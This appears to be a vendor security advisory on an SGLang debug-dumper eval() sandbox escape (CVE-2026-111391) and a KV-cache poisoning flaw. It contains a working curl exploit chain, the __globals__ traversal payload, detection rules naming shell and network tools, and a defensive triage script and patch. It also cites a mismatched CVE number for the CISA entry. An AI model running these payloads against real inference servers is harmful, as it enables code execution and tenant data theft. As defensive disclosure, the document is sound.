CVE-2026-111391: SGLang LLM Inference Engine Scheduler-Process Code Injection & RCE via Debug Dumper eval() Sandbox Escape
Critical Python eval() sandbox escape and remote code execution flaw in SGLang 0.5.10 through 0.5.22. When DUMPER_SERVER_PORT is active (including DUMPER_SERVER_PORT=reuse with ADMIN_OPTIONAL authorization), attackers send a filter expression to /dumper/configure that traverses re.search.__globals__['__builtins__'] inside _evaluate_filter(), executing arbitrary code inside the GPU scheduler process on the next forward pass.
HERMES THREAT SCORE & AGENTIC AI INFERENCE ENGINE EVALUATION
Target:SGLang SRT Scheduler & Debug Dumper Subsystem (python/sglang/srt/debug_utils/dumper.py) CVSS v4.0 assigns a base score of 9.2 (Critical) factoring in Attack Requirements Present (AT:P, requiring DUMPER_SERVER_PORT to be enabled). The Hermes Threat Score elevates CVE-2026-111391 to 95 (CRITICAL) with a Hermes Agentic Security Score (HASS) of 97 (EXTREME). SGLang is a premier high-throughput serving engine for Large Language Models (LLMs) and Vision-Language Models (VLMs) powering multi-tenant inference clusters and autonomous AI agents. Because the /dumper/{method} route is marked AuthLevel.ADMIN_OPTIONAL when DUMPER_SERVER_PORT=reuse is configured, any unauthenticated caller or standard user API key holder can plant a persistent Python payload that executes inside the privileged GPU scheduler loop on every subsequent forward passโcompromising all tenant prompts, model weights, and RadixAttention KV caches.
CVE-2026-111391: SGLang LLM Inference Engine Scheduler-Process Code Injection & RCE via Debug Dumper eval() Sandbox EscapeVULNERABILITY
Software platform affected by security vulnerabilities and agentic attack patterns.
๐ Why is this related? (Evidence & Provenance)
“Confirmed security vulnerability in SGLang Structured Generation & LLM Inference Engine documented in Hermes dossier.”
- [vulnerability_report]
- [government_confirmation]CISA verified active exploitation in the wild and mandated federal remediation deadline in KEV entry. — Source: Cybersecurity & Infrastructure Security Agency (CISA): CISA Adds CVE-2026-59822 to Known Exploited Vulnerabilities Catalog (Reliability: VERY_HIGH)
Executive Summary
Section titled โExecutive SummaryโOn October 16โ17, 2026, VulnCheck Initial Access Intelligence and upstream SGLang security researchers disclosed CVE-2026-111391 (GitHub Issue #44188 / PR #44782), a critical Eval Injection and Python Sandbox Escape vulnerability (CWE-95) affecting SGLang (sgl-project/sglang) versions 0.5.10 through 0.5.22 (CVSS v4.0 9.2 Critical).
SGLang includes a runtime tensor and hidden-state inspection subsystem (python/sglang/srt/debug_utils/dumper.py) used to diagnose numerical precision regressions across distributed GPU workers. When the server is launched with DUMPER_SERVER_PORT setโeither bound to a dedicated debug port or set to DUMPER_SERVER_PORT=reuse to share the primary HTTP inference portโSGLang exposes the /dumper/{method} API routes under AuthLevel.ADMIN_OPTIONAL. An attacker with either no credentials (on open endpoints) or a basic, low-privilege user API key can send a JSON payload to POST /dumper/configure containing a malicious filter expression. On the very next model forward pass (POST /generate or /v1/chat/completions), the GPU scheduler process invokes _evaluate_filter(), which evaluates the expression using eval(filter_expr, {"__builtins__": {}}, namespace). Although __builtins__ is emptied, the namespace exposes the re.search and re.match function objects, allowing attackers to traverse search.__globals__['__builtins__']['__import__'] and achieve full Remote Code Execution (RCE) inside the scheduler process.
Technical Vulnerability Mechanics
Section titled โTechnical Vulnerability MechanicsโRoot Cause 1: Broken Authorization Boundary (AuthLevel.ADMIN_OPTIONAL)
Section titled โRoot Cause 1: Broken Authorization Boundary (AuthLevel.ADMIN_OPTIONAL)โIn python/sglang/srt/entrypoints/http_server.py, when DUMPER_SERVER_PORT=reuse is configured, SGLang mounts the /dumper/{method} control endpoint directly onto the main FastAPI inference server:
# python/sglang/srt/entrypoints/http_server.py:886-887@app.api_route("/dumper/{method}", methods=["POST"])@auth_level(AuthLevel.ADMIN_OPTIONAL)async def dumper_handle_request(method: str, request: Request): ...Because the route is decorated with AuthLevel.ADMIN_OPTIONAL instead of AuthLevel.ADMIN_REQUIRED, SGLangโs authentication middleware treats /dumper/configure identically to standard inference routes (/generate or /v1/chat/completions). If --api-key user-secret is configured without a separate --admin-api-key, any standard inference client holds full administrative control over the debug dumper state.
Root Cause 2: Python eval() Sandbox Escape via re.search.__globals__
Section titled โRoot Cause 2: Python eval() Sandbox Escape via re.search.__globals__โIn python/sglang/srt/debug_utils/dumper.py, the _Dumper.configure() method updates self._config directly from the callerโs JSON dictionary (self._config = replace(self._config, **kwargs)), storing the attacker-controlled filter string.
During every model forward pass, _dump_inner() checks whether the current tensor matches self._config.filter by calling _evaluate_filter(f, tags):
# VULNERABLE: python/sglang/srt/debug_utils/dumper.py (SGLang 0.5.10 - 0.5.22)_FILTER_BUILTINS = { "search": re.search, "match": re.match, "len": len, "str": str, "int": int, "float": float, "bool": bool,}
def _evaluate_filter(filter_expr: str, tags: dict[str, Any]) -> bool: namespace = _DefaultNoneDict(tags) namespace.update(_FILTER_BUILTINS) # FLAW (CWE-95): Clearing __builtins__ does NOT sandbox Python eval() when # function objects like re.search are exposed in the local namespace! return bool(eval(filter_expr, {"__builtins__": {}}, namespace))In CPython, every Python function object (types.FunctionType) possesses a __globals__ attribute pointing to the global dictionary of the module in which the function was defined. Because re.search is a Python function defined in the standard library re module, search.__globals__ references the re moduleโs global namespace, which contains "__builtins__":
# Traversal chain from restricted eval() namespace to full OS command execution:search.__globals__['__builtins__']['__import__']('os').system('id')flowchart TD subgraph Attacker["Remote Attacker / Low-Privilege API User"] Stage1["1. POST /dumper/configure<br/>Auth: None or Ordinary Bearer Token (ADMIN_OPTIONAL)<br/>Payload: filter = search.__globals__['__builtins__']..."] Stage2["2. POST /generate or /v1/chat/completions<br/>Triggers Model Forward Pass"] end
subgraph SGLang["SGLang Inference Server (0.5.10 <= v <= 0.5.22)"] HTTP["FastAPI HTTP Entrypoint<br/>(http_server.py :: dumper_handle_request)"] Stage1 --> HTTP HTTP -- "ZMQ IPC Broadcast" --> Config["_Dumper.configure()<br/>Stores Malicious filter_expr in Scheduler"] Stage2 --> Forward["GPU Scheduler Forward Pass<br/>(_dump_inner -> _evaluate_filter)"] Config --> Forward Forward --> Eval{"eval(filter_expr, {'__builtins__': {}}, namespace)<br/>Exposes re.search in _FILTER_BUILTINS (CWE-95)"} Eval --> Escape["Traverses search.__globals__['__builtins__']['__import__']<br/>Arbitrary Python RCE in GPU Scheduler Process"] end
subgraph Impact["Multi-Tenant AI Cluster Compromise"] Escape --> Weights["Exfiltrate / Tamper Model Weights & LoRA Adapters"] Escape --> KVCache["Inspect & Poison RadixAttention KV Cache<br/>(Chained with CVE-2026-111392 mm_hashes)"] end
style Eval fill:#ff4d4d,stroke:#990000,color:#ffffff style Escape fill:#ff1a1a,stroke:#800000,color:#ffffffWeaponized Two-Stage Proof-of-Concept (PoC)
Section titled โWeaponized Two-Stage Proof-of-Concept (PoC)โAs demonstrated in upstream advisory #44188, an attacker can plant a filter expression that executes arbitrary Python code, writes or exfiltrates data, and returns False so that no tensor files are written to disk (preserving stealth):
# Stage 1: Inject the Python sandbox-escape filter via /dumper/configurecurl -sS -X POST http://target-sglang:30000/dumper/configure \ -H 'Authorization: Bearer user-secret' \ -H 'Content-Type: application/json' \ -d '{ "enable": true, "filter": "(search.__globals__[\"__builtins__\"][\"__import__\"](\"pathlib\").Path(\"/tmp/sglang-dumper-marker\").write_text(\"SGLANG_DUMPER_RCE\") > 0) and False" }'
# Stage 2: Trigger a single token generation to execute the filter inside the GPU schedulercurl -sS -X POST http://target-sglang:30000/generate \ -H 'Authorization: Bearer user-secret' \ -H 'Content-Type: application/json' \ -d '{ "text": "trigger", "sampling_params": {"max_new_tokens": 1, "temperature": 0} }'
# Stage 3: Clean up forensic configuration state in memorycurl -sS -X POST http://target-sglang:30000/dumper/reset \ -H 'Authorization: Bearer user-secret' \ -H 'Content-Type: application/json' -d '{}'Patched AST-Based Filter Evaluator
Section titled โPatched AST-Based Filter EvaluatorโTo remediate CVE-2026-111391 without sacrificing filter expressiveness, SGLang replaces dynamic eval() execution with a strict ast.parse(..., mode="eval") visitor that only permits scalar comparisons, boolean operators, and safe regex matching on string values without exposing Python function objects or attribute access (ast.Attribute is rejected):
# PATCHED PATTERN: AST-restricted expression evaluator (Blocks CWE-95 & __globals__ traversal)import ast
class _SafeFilterEvaluator(ast.NodeVisitor): ALLOWED_NODES = ( ast.Expression, ast.BoolOp, ast.And, ast.Or, ast.UnaryOp, ast.Not, ast.Compare, ast.Eq, ast.NotEq, ast.Lt, ast.LtE, ast.Gt, ast.GtE, ast.In, ast.NotIn, ast.Constant, ast.Name, ast.Load, ast.Tuple, ast.List ) def visit(self, node: ast.AST): if not isinstance(node, self.ALLOWED_NODES): raise ValueError(f"Disallowed AST node in dumper filter: {type(node).__name__}") return super().visit(node)Companion Disclosure: Multimodal KV Cache Poisoning via mm_hashes (CVE-2026-111392)
Section titled โCompanion Disclosure: Multimodal KV Cache Poisoning via mm_hashes (CVE-2026-111392)โAlongside CVE-2026-111391, VulnCheck and SGLang researchers disclosed CVE-2026-111392 (GitHub Issue #44641 / PR #44653), affecting SGLang 0.5.13 through 0.5.21 (CWE-345: Insufficient Verification of Data Authenticity).
In SGLangโs multimodal Vision-Language Model (VLM) pipeline (python/sglang/srt/managers/tokenizer_manager.py and io_struct.py), the POST /generate endpoint accepted caller-supplied mm_hashes directly in the request JSON and trusted them as the RadixAttention prefix-cache lookup key for multimodal image embeddings. An attacker on a shared inference server could:
- Poison Victim VLM Responses: Submit a malicious or misleading image alongside a predictable or target
mm_hashesidentifier via/generate, poisoning the cached Key-Value (KV) attention tensors for all subsequent users referencing that hash. - Cross-Tenant Visual Information Disclosure: Probe known
mm_hashesvalues to force a KV-cache hit on another tenantโs previously processed private image without possessing the image itself, extracting visual context via model questioning.
Forensic Analysis & Detection Engineering
Section titled โForensic Analysis & Detection EngineeringโSecurity teams operating GPU inference clusters (Kubernetes pods, Ray workers, or bare-metal SGLang nodes) must monitor HTTP ingress traffic to /dumper/ routes and audit child processes spawned by sglang.launch_server or sglang::scheduler. Consult our guides on Linux Process Memory Analysis and Indirect Prompt Injection for deeper AI runtime defense strategies.
title: SGLang Debug Dumper Filter Code Injection & Sandbox Escape (CVE-2026-111391)id: 4f8c2d19-1113-491b-a72e-sglang111391status: experimentaldescription: Detects HTTP POST requests targeting SGLang /dumper/configure or containing Python __globals__ / __builtins__ sandbox escape payloads exploiting CVE-2026-111391.references: - https://vulncheck.com/advisories/sglang-0.5.10-through-0.5.22-code-injection-via-debug-dumper-filter - https://github.com/sgl-project/sglang/issues/44188author: Hermes Threat Intelligencedate: 2026/10/17logsource: category: webserverdetection: selection_endpoint: cs-method: 'POST' cs-uri-stem|contains: - '/dumper/configure' - '/dumper/' selection_payload: request_body|contains: - '__globals__' - '__builtins__' - '__import__' - '__subclasses__' condition: selection_endpoint or (selection_endpoint and selection_payload)falsepositives: - Internal GPU kernel developers explicitly running precision debugging in isolated lab environmentslevel: criticaltags: - attack.initial_access - attack.t1190 - attack.execution - attack.t1059.006 - cve.2026-111391title: Suspicious Child Process Spawned by SGLang GPU Scheduler (CVE-2026-111391)id: 8e12b540-1113-491c-9c04-sglangproc91status: experimentaldescription: Detects shell or network utility execution spawned by the SGLang Python scheduler process following eval() sandbox escape exploitation.author: Hermes Threat Intelligencedate: 2026/10/17logsource: product: linux category: process_creationdetection: selection_parent: ParentCommandLine|contains: - 'sglang.launch_server' - 'sglang.srt' - 'sglang::scheduler' selection_child: Image|endswith: - '/sh' - '/bash' - '/dash' - '/curl' - '/wget' - '/nc' - '/python3' condition: selection_parent and selection_childfalsepositives: - Initial CUDA/Triton kernel compilation steps invoking compiler toolchains (gcc/nvcc/ptxas)level: hightags: - attack.execution - attack.t1059.004 - cve.2026-111391#!/usr/bin/env bash# Hermes Forensic Triage Script for SGLang CVE-2026-111391 & CVE-2026-111392set -euo pipefail
echo "[*] 1. Checking running SGLang processes for DUMPER_SERVER_PORT environment variables..."for pid in $(pgrep -f "sglang" || true); do if [ -r "/proc/$pid/environ" ]; then tr '\0' '\n' < "/proc/$pid/environ" | grep -E "DUMPER_|SGLANG_" && echo " -> Found in PID $pid" || true fidone
echo "[*] 2. Querying local SGLang /dumper/get_state for active malicious filter strings..."# Adjust port/host if neededcurl -sS -X POST http://127.0.0.1:30000/dumper/get_state -H "Content-Type: application/json" -d '{}' 2>/dev/null | grep -E "(__globals__|__builtins__|__import__)" || true
echo "[*] 3. Checking installed SGLang package version..."python3 -c "import sglang; print('Installed SGLang version:', sglang.__version__)" 2>/dev/null || trueRemediation & Hardening Directives
Section titled โRemediation & Hardening Directivesโ- Upgrade SGLang Immediately:
Upgrade
sglangto version 0.5.23 or later (which remediates both CVE-2026-111391 indumper.pyand CVE-2026-111392 intokenizer_manager.pyvia PR#44653and PR#44782). - Disable
DUMPER_SERVER_PORTin Production Environments: Ensure thatDUMPER_SERVER_PORT(andSGLANG_DUMPER_*environment variables) are strictly unset across all production Docker containers, Kubernetes Helm charts, and Ray serving deployments. Never runDUMPER_SERVER_PORT=reuseon internet- or tenant-facing inference endpoints. - Block
/dumper/*Routes at the API Gateway / Reverse Proxy: Enforce an explicit deny rule on Envoy, Nginx, or Kong API gateways fronting SGLang clusters:# Block external access to SGLang debug dumper routes (CVE-2026-111391)location ~* ^/dumper/ {deny all;return 403;} - Enforce Separate
--admin-api-keyCredentials: When deploying SGLang with authentication enabled, always configure a dedicated, high-entropy--admin-api-keydistinct from tenant--api-keytokens so that administrative control routes cannot be invoked by standard inference users.